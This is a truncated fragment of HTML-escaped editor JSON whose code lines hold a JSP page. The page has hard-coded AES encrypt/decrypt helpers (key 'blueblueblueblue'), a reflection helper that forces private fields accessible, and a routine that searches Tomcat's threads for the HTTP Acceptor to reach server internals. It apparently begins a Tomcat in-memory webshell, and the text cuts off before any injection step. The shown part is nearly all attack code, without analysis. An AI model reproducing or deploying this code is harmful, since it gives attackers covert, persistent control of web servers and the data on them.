%&gt;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;d9Ey-1659106815998&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6UN8-1659106815997&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&lt;%@ page import=\&#34;java.nio.charset.StandardCharsets\&#34; %&gt;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iQon-1659106816000&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nC3k-1659106815999&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&lt;%@ page contentType=\&#34;text/html;charset=UTF-8\&#34; language=\&#34;java\&#34; %&gt;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3vs2-1659106816002&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Efiw-1659106816001&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yAN7-1659106816004&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zQlZ-1659106816003&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vnib-1659106816007&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SIK7-1659106816006&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&lt;%!&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qiMR-1659106816009&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;THms-1659106816008&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static final String DEFAULT_SECRET_KEY = \&#34;blueblueblueblue\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SUWb-1659106816011&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;auAD-1659106816010&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private static final String AES = \&#34;AES\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nU9F-1659106816013&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MyfK-1659106816012&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private static final byte[] KEY_VI = \&#34;blueblueblueblue\&#34;.getBytes();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HZvB-1659106816015&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kzKQ-1659106816014&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private static final String CIPHER_ALGORITHM = \&#34;AES/CBC/PKCS5Padding\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NkJ3-1659106816017&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qR55-1659106816016&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private static java.util.Base64.Encoder base64Encoder = java.util.Base64.getEncoder();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MTdw-1659106816019&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fFuj-1659106816018&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private static java.util.Base64.Decoder base64Decoder = java.util.Base64.getDecoder();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5bOJ-1659106816021&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Nfra-1659106816020&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2S9p-1659106816023&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ofW4-1659106816022&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static String decode(String key, String content) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kV8p-1659106816025&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4UfL-1659106816024&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UDlZ-1659106816027&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;C8e3-1659106816026&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            javax.crypto.SecretKey secretKey = new javax.crypto.spec.SecretKeySpec(key.getBytes(), AES);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PBrP-1659106816029&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7OoC-1659106816028&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            javax.crypto.Cipher cipher = javax.crypto.Cipher.getInstance(CIPHER_ALGORITHM);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ycKY-1659106816031&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rwzT-1659106816030&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            cipher.init(javax.crypto.Cipher.DECRYPT_MODE, secretKey, new javax.crypto.spec.IvParameterSpec(KEY_VI));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2LNd-1659106816033&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PsKJ-1659106816032&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BDZU-1659106816035&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;onSw-1659106816034&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            byte[] byteContent = base64Decoder.decode(content);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tlOl-1659106816037&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;m3Mk-1659106816036&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            byte[] byteDecode = cipher.doFinal(byteContent);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;f8vC-1659106816039&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;25MK-1659106816038&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return new String(byteDecode, java.nio.charset.StandardCharsets.UTF_8);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QYtv-1659106816041&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;akfc-1659106816040&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (Exception e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2rmi-1659106816043&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Lg3z-1659106816042&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2DrK-1659106816045&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TkPM-1659106816044&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;J0LA-1659106816048&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Urmv-1659106816047&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return null;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qswm-1659106816050&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mcAy-1659106816049&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;43hf-1659106816052&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;U40V-1659106816051&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vsIB-1659106816054&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VGRB-1659106816053&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static String encode(String key, String content) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;W69x-1659106816056&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FApA-1659106816055&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xTSM-1659106816058&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rfcA-1659106816057&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            javax.crypto.SecretKey secretKey = new javax.crypto.spec.SecretKeySpec(key.getBytes(), AES);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;r5V1-1659106816060&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Mi7R-1659106816059&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            javax.crypto.Cipher cipher = javax.crypto.Cipher.getInstance(CIPHER_ALGORITHM);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ERuM-1659106816062&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WHUw-1659106816061&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, secretKey, new javax.crypto.spec.IvParameterSpec(KEY_VI));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zqLD-1659106816064&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;COVU-1659106816063&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            byte[] byteEncode = content.getBytes(java.nio.charset.StandardCharsets.UTF_8);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;37IT-1659106816066&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NrBu-1659106816065&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            byte[] byteAES = cipher.doFinal(byteEncode);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oYml-1659106816068&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PWzK-1659106816067&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return base64Encoder.encodeToString(byteAES);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oiSe-1659106816070&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XAiO-1659106816069&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (Exception e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SNv1-1659106816072&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kiqv-1659106816071&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RQbq-1659106816074&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uaep-1659106816073&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vC3d-1659106816076&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mrfp-1659106816075&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return null;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TlYH-1659106816078&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SrbW-1659106816077&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KW5u-1659106816080&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Y4wi-1659106816079&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;k6R2-1659106816082&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4eEr-1659106816081&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sSbl-1659106816084&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;axKq-1659106816083&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public Object getField(Object object, String fieldName) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AWJM-1659106816086&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lKkX-1659106816085&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Field declaredField;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;njYv-1659106816088&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;f4gZ-1659106816087&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Class clazz = object.getClass();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pfwm-1659106816090&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fm20-1659106816089&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        while (clazz != Object.class) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SGux-1659106816092&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3qWA-1659106816091&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;itmi-1659106816094&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1Zj5-1659106816093&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MiXP-1659106816096&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vD2P-1659106816095&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                declaredField = clazz.getDeclaredField(fieldName);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zTHe-1659106816099&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sRFE-1659106816097&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                declaredField.setAccessible(true);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;o3sC-1659106816101&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;84Zn-1659106816100&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                return declaredField.get(object);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9vUl-1659106816103&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QXCZ-1659106816102&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } catch (NoSuchFieldException | IllegalAccessException e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gufU-1659106816105&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7eKZ-1659106816104&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;29Ic-1659106816107&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FHmn-1659106816106&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            clazz = clazz.getSuperclass();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Y6jP-1659106816109&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;U2iF-1659106816108&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1TSU-1659106816111&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fu57-1659106816110&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return null;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1dl9-1659106816113&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;X6lk-1659106816112&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ofub-1659106816115&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;boaH-1659106816114&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kwE9-1659106816117&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;a7PR-1659106816116&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;04PU-1659106816119&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HRrH-1659106816118&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public Object getStandardService() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;all3-1659106816121&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;E3tZ-1659106816120&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), \&#34;threads\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jKOB-1659106816123&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QPRO-1659106816122&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        for (Thread thread : threads) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Xgs4-1659106816125&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YW6g-1659106816124&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (thread == null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7JOQ-1659106816127&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BmIn-1659106816126&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                continue;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;H4j0-1659106816129&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GDgH-1659106816128&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cd3d-1659106816131&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pFi8-1659106816130&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if ((thread.getName().contains(\&#34;Acceptor\&#34;)) &amp;&amp; (thread.getName().contains(\&#34;http\&#34;))) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;V4I8-1659106816134&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;V2nl-1659106816133&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                Object target = this.getField(thread, \&#34;target\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;g93h-1659106816136&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oeuf-1659106816135&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                Object jioEndPoint = null;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7vrZ-1659106816138&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BcLY-1659106816137&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                try 